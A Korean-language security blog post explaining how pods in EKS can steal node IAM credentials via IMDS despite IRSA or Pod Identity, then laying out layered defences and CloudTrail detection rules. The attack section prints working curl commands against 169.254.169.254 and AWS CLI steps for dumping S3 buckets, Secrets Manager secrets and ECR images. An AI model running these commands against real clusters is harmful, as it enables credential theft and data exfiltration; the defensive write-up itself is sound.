Pod별 IAM 권한 분리를 했는데도 뚫리는 이유, 그리고 실질적인 다층 방어 전략
EKS(Elastic Kubernetes Service)를 운영하는 조직은 IRSA(IAM Roles for Service Accounts) 또는 2023년 말 출시된 EKS Pod Identity를 도입하여 Pod별 IAM 권한 분리를 구현합니다. 신규 클러스터에서는 Pod Identity가 권장되고, 기존 클러스터는 대부분 IRSA 기반으로 운영 중이죠.
그런데 어느 쪽을 쓰든 한 가지 공통적인 사각지대가 있습니다. 둘 다 IMDS(Instance Metadata Service) 접근을 차단하지 않는다는 것입니다. IRSA는 AWS SDK의 크리덴셜 우선순위를 변경하고, Pod Identity는 EKS Auth API를 통해 크리덴셜을 전달합니다. 하지만 Pod에서 169.254.169.254로 직접 HTTP 요청을 보내는 경로는 어느 방식을 사용하든 그대로 열려있어요.
공격자가 SSRF, RCE, 의존성 취약점 등으로 Pod 내부에서 명령을 실행할 수 있게 되면, IMDS를 통해 Node의 IAM Role 크리덴셜을 획득하고, 컨테이너 탈출 없이도 AWS 인프라 전체에 대한 공격을 수행할 수 있습니다.
이 글에서는 공격의 전체 체인을 단계별로 보여주고, 근본적인 다층 방어 전략을 실제 설정 코드와 함께 정리합니다.
EKS 워커 노드는 EC2 인스턴스입니다. 모든 EC2 인스턴스에는 IMDS가 존재하며, 해당 인스턴스에 붙은 IAM Role의 임시 크리덴셜을 HTTP endpoint(169.254.169.254)로 제공합니다. Pod는 기본적으로 노드의 네트워크를 통해 이 endpoint에 접근할 수 있습니다.
IRSA의 경우, Pod에 환경변수(AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE)와 JWT 토큰 파일이 주입됩니다. AWS SDK는 크리덴셜 체인(Credential Provider Chain)에서 이 환경변수를 IMDS보다 우선 사용합니다.
Pod Identity의 경우, EKS Pod Identity Agent DaemonSet이 노드에서 실행되며, 169.254.170.23(EKS Auth API)을 통해 Pod에 크리덴셜을 제공합니다. IRSA처럼 JWT 토큰 파일을 마운트하지 않고, Agent가 크리덴셜을 직접 관리하므로 토큰 유출 위험이 줄어듭니다.
두 방식 모두 "올바른 크리덴셜을 SDK에 제공"하는 메커니즘이지, "잘못된 크리덴셜에 대한 접근을 차단"하는 메커니즘이 아닙니다.
공격자는 SDK를 거치지 않습니다. Pod 내부에서 curl로 IMDS(169.254.169.254)를 직접 호출하면 Node Role 크리덴셜이 그대로 반환됩니다. IRSA든 Pod Identity든, IMDS 경로 자체는 열려있습니다.
Pod → 169.254.169.254 (IMDS) → Node Role 크리덴셜 반환 ← 이 경로를 막지 않음
Pod → 169.254.170.23 (EKS Auth API) → Pod Identity 크리덴셜 반환 ← Pod Identity 경로
Pod → AWS_WEB_IDENTITY_TOKEN_FILE → IRSA 크리덴셜 반환 ← IRSA 경로
IMDSv2를 강제하면 PUT 요청으로 토큰을 먼저 받아야 합니다. 하지만 이 토큰 발급 과정도 Pod 내부에서 그대로 수행 가능합니다:
# IMDSv2 — 두 단계이지만 Pod에서 완전히 동작
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
IMDSv2는 SSRF 공격의 난이도를 높이는 데 효과적이지만(PUT 요청 + 커스텀 헤더가 필요하므로), Pod 내부에서 직접 실행하는 공격에는 아무런 방어가 되지 않습니다.
EKS 관리형 노드 그룹을 사용하면 Node Role에 다음 정책이 기본으로 붙습니다:
| 정책 | 주요 권한 | 공격자 활용 |
|---|---|---|
AmazonEKSWorkerNodePolicy | ec2:Describe*, EKS API | 인프라 정찰, 전체 노드 목록 파악 |
AmazonEKS_CNI_Policy | ec2:*NetworkInterface*, ec2:*PrivateIpAddresses* | 네트워크 인터페이스 조작, ENI 생성 |
AmazonEC2ContainerRegistryReadOnly | ecr:GetDownloadUrlForLayer, ecr:BatchGetImage | 다른 서비스의 컨테이너 이미지 Pull → 이미지 내 시크릿 추출 |
실무에서는 운영 편의를 위해 Node Role에 추가 권한을 부여하는 경우가 많습니다:
| 추가 정책 | 이유 | 공격 표면 |
|---|---|---|
AmazonSSMManagedInstanceCore | 노드 관리 편의 | SSM으로 노드 셸 접근 → 호스트 OS 장악 |
CloudWatch (logs:*, cloudwatch:*) | 로그/메트릭 전송 | 로그 그룹 조회 → 민감 로그 열람 |
EBS CSI (ec2:CreateVolume, ec2:CreateSnapshot) | 영구 볼륨 관리 | 스냅샷 생성 → 다른 인스턴스에서 마운트 |
S3 접근 (s3:GetObject) | 로그 저장, 설정 파일 | 민감 버킷 데이터 유출 |
Secrets Manager (secretsmanager:GetSecretValue) | 애플리케이션 시크릿 | 전체 시크릿 덤프 |
개별적으로는 합리적인 권한이지만, 합치면 S3 접근 + ECR Pull + EBS 스냅샷 생성 + SSM 셸 + 네트워크 인터페이스 조작이라는 상당한 공격 표면이 됩니다.
웹 애플리케이션의 SSRF 취약점, RCE(Remote Code Execution), 컨테이너 이미지 내 알려진 CVE, 서드파티 라이브러리의 공급망 공격 등으로 공격자가 Pod 내부에서 명령 실행이 가능한 상태가 됩니다.
# Pod 내부에서 실행
# 1. IMDS에 접근 가능한지 확인
curl -s -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/
# 200이면 접근 가능
# 2. Node Role 이름 확인
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 출력: eks-node-group-role-prod
# 3. 크리덴셜 획득 (IMDSv1인 경우)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-group-role-prod
# 4. IMDSv2가 강제된 경우 — 여전히 가능
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-group-role-prod
응답 예시:
{
"Code": "Success",
"LastUpdated": "2026-04-02T08:30:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAQ3EGXAMPLEKEY",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjEGoaDmFwLW5vcnRoZWFzdC0yI...",
"Expiration": "2026-04-02T14:45:00Z"
}
크리덴셜은 보통 6시간 유효하며, 만료 전에 다시 요청하면 갱신됩니다.
# 획득한 크리덴셜 설정
export AWS_ACCESS_KEY_ID="ASIAQ3EGXAMPLEKEY"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEGoaDmFwLW5vcnRoZWFzdC0yI..."
# 현재 Role 확인
aws sts get-caller-identity
# {
# "Account": "123456789012",
# "Arn": "arn:aws:sts::123456789012:assumed-role/eks-node-group-role-prod/i-0abc123"
# }
# 같은 클러스터의 모든 노드 조회
aws ec2 describe-instances \
--filters "Name=tag:eks:cluster-name,Values=prod-cluster" \
--query 'Reservations[].Instances[].[InstanceId,PrivateIpAddress,IamInstanceProfile.Arn]' \
--output table
# 계정 내 S3 버킷 목록
aws s3 ls
# ECR 저장소 목록 — 다른 서비스의 이미지 파악
aws ecr describe-repositories \
--query 'repositories[].[repositoryName,repositoryUri]' \
--output table
# S3에서 민감 데이터 다운로드 (Node Role에 S3 권한이 있는 경우)
aws s3 cp s3://prod-customer-data/exports/ ./stolen/ --recursive
aws s3 cp s3://prod-logs-bucket/application/ ./stolen-logs/ --recursive
# ECR에서 다른 서비스 이미지 Pull → 이미지 레이어에서 시크릿 추출
aws ecr get-login-password --region ap-northeast-2 | \
docker login --username AWS --password-stdin \
123456789012.dkr.ecr.ap-northeast-2.amazonaws.com
docker pull 123456789012.dkr.ecr.ap-northeast-2.amazonaws.com/payment-service:latest
docker history --no-trunc payment-service:latest # .env 파일, 빌드 아규먼트 확인
docker save payment-service:latest | tar -xf - # 레이어별 파일시스템 분석
# Secrets Manager 접근 (권한이 있는 경우)
for secret in $(aws secretsmanager list-secrets \
--query 'SecretList[].Name' --output text); do
echo "=== $secret ==="
aws secretsmanager get-secret-value \
--secret-id "$secret" --query 'SecretString' --output text
done
# EBS 스냅샷 생성 → 다른 인스턴스에 마운트 → 파일시스템 전체 탐색
aws ec2 create-snapshot \
--volume-id vol-0abc123 \
--description "routine-backup"
# SSM이 Node Role에 포함된 경우 — 컨테이너가 아닌 호스트 OS에 접근
aws ssm start-session --target i-0abc123
# 호스트에서 kubelet 설정, 모든 Pod의 시크릿, 볼륨 마운트 전부 열람 가능
# kubelet의 API로 같은 노드의 다른 Pod 정보 조회
curl -sk https://localhost:10250/pods | jq '.items[].metadata.name'
# 다른 Pod의 Service Account 토큰 추출 (hostPID가 열려있는 경우)
# → 해당 Pod의 IRSA Role까지 탈취 가능
# 방법 1: 백도어 컨테이너 배포
# (Node Role로 ECR Push 권한이 있거나, kubectl 접근이 가능한 경우)
# 방법 2: EC2 User Data 확인 → 클러스터 bootstrap 정보 획득
aws ec2 describe-instance-attribute \
--instance-id i-0abc123 \
--attribute userData \
--query 'UserData.Value' --output text | base64 -d
# EKS bootstrap 스크립트에 클러스터 엔드포인트, CA 인증서, 토큰 정보 포함
# 방법 3: 크리덴셜을 외부로 전송 → 만료 전까지 외부에서 접근
# Pod → 공격자 서버로 크리덴셜 exfiltration
aws ec2 modify-instance-metadata-options \
--instance-id i-0abc123 \
--http-tokens required \
--http-put-response-hop-limit 1
hop limit을 1로 설정하면, IMDS 응답의 IP TTL이 1이 됩니다. Pod의 네트워크 트래픽은 veth(Virtual Ethernet) 쌍을 거쳐 노드의 네트워크 네임스페이스로 전달되는데, 이 과정에서 hop이 증가합니다. 결과적으로 Pod에서 보낸 IMDS 요청의 응답이 TTL 만료로 폐기됩니다.
이것은 효과적인 방어입니다. 하지만 다음 예외 상황에서는 우회됩니다.
Case 1: hostNetwork: true Pod
apiVersion: v1
kind: Pod
metadata:
name: monitoring-agent
spec:
hostNetwork: true # 노드 네트워크 직접 사용 → hop 증가 없음
containers:
- name: agent
image: monitoring:latest
hostNetwork: true인 Pod는 노드의 네트워크 네임스페이스를 직접 사용하므로 veth를 거치지 않습니다. hop이 증가하지 않아 hop limit 1이어도 IMDS에 접근 가능합니다. 모니터링 에이전트, 로그 수집기, 네트워크 플러그인 등이 흔히 이 설정을 사용합니다.
Case 2: hostPID 또는 hostIPC를 사용하는 Pod
spec:
hostPID: true # 노드의 프로세스 네임스페이스 공유
직접 IMDS에 접근하지는 않지만, 호스트의 프로세스에 접근할 수 있으므로 다른 경로로 크리덴셜을 추출할 가능성이 있습니다.
Case 3: EKS 관리형 노드 그룹의 기본값
EKS 관리형 노드 그룹을 콘솔에서 생성하면 hop limit 기본값이 2입니다. 명시적으로 Launch Template을 커스텀하여 1로 변경해야 합니다. 많은 조직이 이 기본값을 인지하지 못하고 있습니다.
Case 4: Karpenter 프로비저닝 노드
Karpenter로 노드를 프로비저닝하는 경우, EC2NodeClass에서 별도로 httpPutResponseHopLimit: 1을 설정해야 합니다. Karpenter의 기본값도 EC2 기본값(hop limit 2)을 따릅니다.
단일 방어로는 충분하지 않습니다. 각 레이어가 독립적으로 공격을 차단할 수 있도록 설계해야 합니다.
EKS 관리형 노드 그룹 — Launch Template
{
"LaunchTemplateData": {
"MetadataOptions": {
"HttpTokens": "required",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "enabled",
"InstanceMetadataTags": "disabled"
}
}
}
Karpenter — EC2NodeClass
# Karpenter v1 (1.0+). 이전 버전은 karpenter.k8s.aws/v1beta1 사용
apiVersion: karpenter.k8s.aws/v1
kind: EC2NodeClass
metadata:
name: default
spec:
metadataOptions:
httpEndpoint: enabled
httpProtocolIPv6: disabled
httpPutResponseHopLimit: 1
httpTokens: required
# 기타 설정...
subnetSelectorTerms:
- tags:
karpenter.sh/discovery: prod-cluster
securityGroupSelectorTerms:
- tags:
karpenter.sh/discovery: prod-cluster
Self-managed 노드 그룹 — User Data
#!/bin/bash
# EC2 인스턴스 시작 시 IMDS 설정 강제
INSTANCE_ID=$(curl -s http://169.254.169.254/latest/meta-data/instance-id)
aws ec2 modify-instance-metadata-options \
--instance-id "$INSTANCE_ID" \
--http-tokens required \
--http-put-response-hop-limit 1
# EKS bootstrap
/etc/eks/bootstrap.sh prod-cluster
hop limit과 함께 Network Policy를 적용하면 일반 Pod에 대한 이중 방어가 됩니다. Calico 또는 Cilium이 설치되어 있어야 합니다.
중요: Network Policy는 hostNetwork: true Pod에는 적용되지 않습니다. Network Policy는 Pod 네트워크 네임스페이스에서 동작하는데, hostNetwork Pod는 호스트 네트워크 네임스페이스를 직접 사용하기 때문입니다. hostNetwork Pod에 대한 방어는 Layer 3(iptables)에서 처리합니다.
전체 클러스터 기본 차단 정책
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-imds-access
namespace: default # 각 네임스페이스마다 적용 필요
spec:
podSelector: {} # 해당 네임스페이스의 모든 Pod
policyTypes:
- Egress
egress:
# 모든 목적지 허용하되, IMDS만 제외
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
kube-system의 시스템 Pod 예외 처리
aws-node(VPC CNI), kube-proxy 등 시스템 컴포넌트는 정상 동작을 위해 IMDS에 접근해야 합니다:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-imds-for-aws-node
namespace: kube-system
spec:
podSelector:
matchLabels:
k8s-app: aws-node
policyTypes:
- Egress
egress:
# IMDS 접근 허용
- to:
- ipBlock:
cidr: 169.254.169.254/32
ports:
- protocol: TCP
port: 80
# 나머지 트래픽도 허용
- to:
- ipBlock:
cidr: 0.0.0.0/0
자동화 — 모든 네임스페이스에 일괄 적용
#!/bin/bash
# 모든 네임스페이스에 IMDS 차단 Network Policy 적용
EXCLUDED_NS="kube-system kube-node-lease kube-public"
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
if echo "$EXCLUDED_NS" | grep -qw "$ns"; then
echo "Skipping system namespace: $ns"
continue
fi
echo "Applying IMDS deny policy to: $ns"
cat <<EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-imds-access
namespace: $ns
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
EOF
done
각 레이어의 커버 범위를 정확히 이해해야 합니다:
| 방어 레이어 | 일반 Pod | hostNetwork Pod |
|---|---|---|
| hop limit = 1 | ✅ 차단 (veth hop 증가) | ❌ 미차단 (호스트 네임스페이스) |
| Network Policy | ✅ 차단 (Pod 네임스페이스) | ❌ 미차단 (호스트 네임스페이스) |
| iptables OUTPUT | ❌ 미해당 (FORWARD 경유) | ✅ 차단 (호스트 네임스페이스) |
일반 Pod의 트래픽은 호스트의 FORWARD 체인을 통과하므로 OUTPUT 체인 규칙이 적용되지 않습니다. 반면 hostNetwork: true Pod는 호스트 네트워크 네임스페이스를 공유하므로 OUTPUT 체인 규칙이 적용됩니다. 따라서 iptables는 hop limit과 Network Policy가 막지 못하는 hostNetwork Pod를 보완하는 레이어입니다.
#!/bin/bash
# EKS 노드의 User Data 또는 DaemonSet으로 적용
# root(uid 0)만 IMDS 접근 허용
# kubelet, aws-node(VPC CNI) 등 시스템 컴포넌트는 모두 root로 실행됨
# hostNetwork: true이면서 non-root로 실행되는 Pod의 IMDS 접근을 차단
iptables -I OUTPUT -t filter \
-d 169.254.169.254 \
-m owner ! --uid-owner 0 \
-j DROP
# 규칙 확인
iptables -L OUTPUT -t filter -n -v | grep 169.254
DaemonSet으로 배포하여 모든 노드에 자동 적용:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: imds-blocker
namespace: kube-system
spec:
selector:
matchLabels:
app: imds-blocker
template:
metadata:
labels:
app: imds-blocker
spec:
hostNetwork: true
initContainers:
- name: setup-iptables
image: public.ecr.aws/amazonlinux/amazonlinux:2023
securityContext:
privileged: true
capabilities:
add: ["NET_ADMIN"]
command:
- /bin/sh
- -c
- |
# hostNetwork Pod 중 non-root 프로세스의 IMDS 접근 차단
iptables -C OUTPUT -t filter -d 169.254.169.254 \
-m owner ! --uid-owner 0 \
-j DROP 2>/dev/null || \
iptables -I OUTPUT -t filter -d 169.254.169.254 \
-m owner ! --uid-owner 0 \
-j DROP
echo "IMDS blocking rule applied"
containers:
- name: pause
image: public.ecr.aws/eks-distro/kubernetes/pause:3.7
resources:
requests:
cpu: 1m
memory: 4Mi
tolerations:
- operator: Exists
한계: 이 규칙은 hostNetwork: true이면서 root(uid 0)로 실행되는 Pod는 막을 수 없습니다. 시스템 컴포넌트(kubelet, aws-node)도 root로 실행되기 때문에 uid 0을 차단할 수 없어요. 따라서 hostNetwork + root 조합의 Pod는 Pod Security Standards로 생성 자체를 제한하는 것이 최선입니다(섹션 6 참고).
모든 IMDS 차단 방어가 우회될 가능성에 대비해, Node Role 자체의 권한을 줄여야 합니다. VPC CNI, EBS CSI, CloudWatch Agent 등을 IRSA 또는 Pod Identity로 분리합니다.
VPC CNI를 IRSA로 분리
# CNI 전용 IAM Role 생성 + Service Account 연동
eksctl create iamserviceaccount \
--name aws-node \
--namespace kube-system \
--cluster prod-cluster \
--role-name eks-vpc-cni-role \
--attach-policy-arn arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy \
--override-existing-serviceaccounts \
--approve
# 이후 Node Role에서 AmazonEKS_CNI_Policy 제거
aws iam detach-role-policy \
--role-name eks-node-group-role-prod \
--policy-arn arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy
EBS CSI Driver를 IRSA로 분리
eksctl create iamserviceaccount \
--name ebs-csi-controller-sa \
--namespace kube-system \
--cluster prod-cluster \
--role-name eks-ebs-csi-role \
--attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy \
--override-existing-serviceaccounts \
--approve
최소화된 Node Role 정책
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "MinimalNodePermissions",
"Effect": "Allow",
"Action": [
"ec2:DescribeInstances",
"ec2:DescribeInstanceTypes",
"ec2:DescribeRouteTables",
"ec2:DescribeSecurityGroups",
"ec2:DescribeSubnets",
"ec2:DescribeVolumes",
"ec2:DescribeVolumesModifications",
"ec2:DescribeVpcs",
"eks:DescribeCluster"
],
"Resource": "*"
},
{
"Sid": "ECRReadOnly",
"Effect": "Allow",
"Action": [
"ecr:GetAuthorizationToken",
"ecr:BatchCheckLayerAvailability",
"ecr:GetDownloadUrlForLayer",
"ecr:BatchGetImage"
],
"Resource": "*"
}
]
}
Node Role에 SSM, S3, Secrets Manager 등의 권한이 없으면, IMDS를 통해 크리덴셜을 탈취해도 공격자가 할 수 있는 일이 극히 제한됩니다.
Pod Identity는 AWS가 현재 권장하는 방식으로, IRSA 대비 크리덴셜 관리가 개선됩니다. 신규 클러스터라면 Pod Identity를, 기존 IRSA 클러스터라면 점진적 전환을 권장합니다. 다만 IMDS 문제 자체를 해결하는 것은 아니므로, Layer 1~3은 여전히 필수입니다.
# EKS Pod Identity Agent 설치 (EKS Add-on)
aws eks create-addon \
--cluster-name prod-cluster \
--addon-name eks-pod-identity-agent
# Pod Identity Association 생성
aws eks create-pod-identity-association \
--cluster-name prod-cluster \
--namespace app \
--service-account app-service-account \
--role-arn arn:aws:iam::123456789012:role/app-pod-role
apiVersion: v1
kind: ServiceAccount
metadata:
name: app-service-account
namespace: app
# IRSA와 달리 annotation 불필요
# Pod Identity Agent가 자동으로 크리덴셜 주입
Pod Identity의 보안 장점:
pods.eks.amazonaws.com 서비스 Principal 사용)중요: Pod Identity를 적용해도 IMDS 접근 자체는 여전히 가능합니다. Pod Identity는 "올바른 크리덴셜 전달 방식"을 제공할 뿐, IMDS를 통한 Node Role 탈취를 막지 않습니다. 따라서 Layer 1~3의 IMDS 차단은 Pod Identity 환경에서도 필수입니다.
hostNetwork: true Pod는 hop limit 방어를 우회하므로 특별 관리가 필요합니다.
#!/bin/bash
echo "=== Pods with hostNetwork: true ==="
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
select(.spec.hostNetwork == true) |
"\(.metadata.namespace)/\(.metadata.name) | SA: \(.spec.serviceAccountName) | Image: \(.spec.containers[0].image)"
'
echo -e "\n=== Pods with hostPID: true ==="
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
select(.spec.hostPID == true) |
"\(.metadata.namespace)/\(.metadata.name)"
'
echo -e "\n=== Pods with privileged containers ==="
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
.metadata as $meta |
.spec.containers[] |
select(.securityContext.privileged == true) |
"\($meta.namespace)/\($meta.name) | Container: \(.name)"
'
apiVersion: v1
kind: Namespace
metadata:
name: app
labels:
# Baseline 수준: hostNetwork, hostPID, privileged 등 차단
pod-security.kubernetes.io/enforce: baseline
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
baseline 수준을 적용하면 hostNetwork: true, hostPID: true, privileged: true 등의 Pod가 해당 네임스페이스에서 생성되지 않습니다. kube-system은 시스템 컴포넌트가 이런 권한을 필요로 하므로 예외 처리가 필요합니다.
Node Role 크리덴셜은 정상적으로 kubelet, VPC CNI 등 시스템 컴포넌트만 사용합니다. 아래 API가 Node Role로 호출되면 높은 확률로 IMDS를 통한 크리덴셜 탈취입니다:
| API 호출 | 정상 여부 | 의미 |
|---|---|---|
s3:GetObject, s3:ListBucket | 비정상 | S3 데이터 유출 시도 |
secretsmanager:GetSecretValue | 비정상 | 시크릿 덤프 시도 |
ssm:StartSession | 비정상 | 다른 노드로 lateral movement |
ec2:CreateSnapshot | 비정상 | EBS 스냅샷 탈취 |
sts:AssumeRole | 주의 | 다른 Role로 권한 상승 시도 |
ec2:DescribeInstances | 정상 | kubelet이 사용 |
ecr:GetDownloadUrlForLayer | 정상 | 이미지 Pull |
{
"query": {
"bool": {
"must": [
{
"wildcard": {
"userIdentity.arn": "*eks-node-group-role*"
}
},
{
"terms": {
"eventName": [
"GetObject",
"ListBuckets",
"PutObject",
"GetSecretValue",
"ListSecrets",
"StartSession",
"CreateSnapshot",
"AssumeRole",
"GetAuthorizationToken"
]
}
}
],
"must_not": [
{
"terms": {
"eventName": [
"DescribeInstances",
"DescribeInstanceTypes",
"GetDownloadUrlForLayer",
"BatchGetImage",
"BatchCheckLayerAvailability"
]
}
}
],
"filter": [
{ "range": { "@timestamp": { "gte": "now-24h" }}}
]
}
}
}
{
"source": ["aws.sts"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": ["AssumeRole"],
"userIdentity": {
"arn": [
{
"prefix": "arn:aws:sts::123456789012:assumed-role/eks-node-group-role"
}
]
}
}
}
Node Role이 다른 Role을 assume하려는 시도를 실시간으로 잡습니다. 정상적인 EKS 운영에서 Node Role이 AssumeRole을 호출할 일은 없습니다.
GuardDuty의 EKS 보호 기능을 활성화하면 Kubernetes Audit Log를 분석하여 다음을 탐지합니다:
aws guardduty update-detector \
--detector-id abc123 \
--features '[
{
"Name": "EKS_AUDIT_LOGS",
"Status": "ENABLED"
},
{
"Name": "EKS_RUNTIME_MONITORING",
"Status": "ENABLED",
"AdditionalConfiguration": [
{
"Name": "EKS_ADDON_MANAGEMENT",
"Status": "ENABLED"
}
]
}
]'
aws ec2 describe-instances의 MetadataOptions)hostNetwork: true로 실행 중인 Pod 목록 감사HttpTokens: required)baseline 적용 (비시스템 네임스페이스)hostNetwork: true Pod 신규 배포 시 보안 리뷰 필수화EKS 보안에서 IRSA나 Pod Identity 도입은 중요한 첫걸음이지만, 그것만으로는 충분하지 않습니다. 둘 다 "올바른 크리덴셜을 제공"하는 메커니즘이지, "IMDS를 통한 Node Role 접근을 차단"하는 메커니즘이 아닙니다.
핵심은 다층 방어입니다.
첫째, IMDS 접근 자체를 차단합니다. hop limit 1과 Network Policy로 일반 Pod를 이중 차단하고, iptables OUTPUT 규칙으로 hostNetwork Pod를 추가 차단합니다. 각 레이어가 커버하는 범위가 다르므로 조합해야 빈틈이 없어집니다.
둘째, Node Role 권한을 최소화합니다. 모든 차단이 우회되더라도, Node Role에 위험한 권한이 없으면 피해 범위가 극히 제한됩니다. VPC CNI, EBS CSI 등을 IRSA나 Pod Identity로 분리하면 Node Role을 Describe + ECR Read 수준까지 줄일 수 있습니다.
셋째, 비정상 사용을 탐지합니다. Node Role로 GetSecretValue, StartSession, CreateSnapshot 같은 API가 호출되면 그 자체가 사고입니다. CloudTrail + OpenSearch로 실시간 감시하면 침해 초기에 대응할 수 있습니다.
컨테이너 보안은 "컨테이너 안"만 보면 안 됩니다. 컨테이너가 실행되는 인프라(EC2, IAM, 네트워크)와의 경계가 실제 공격 표면이 되기 때문입니다.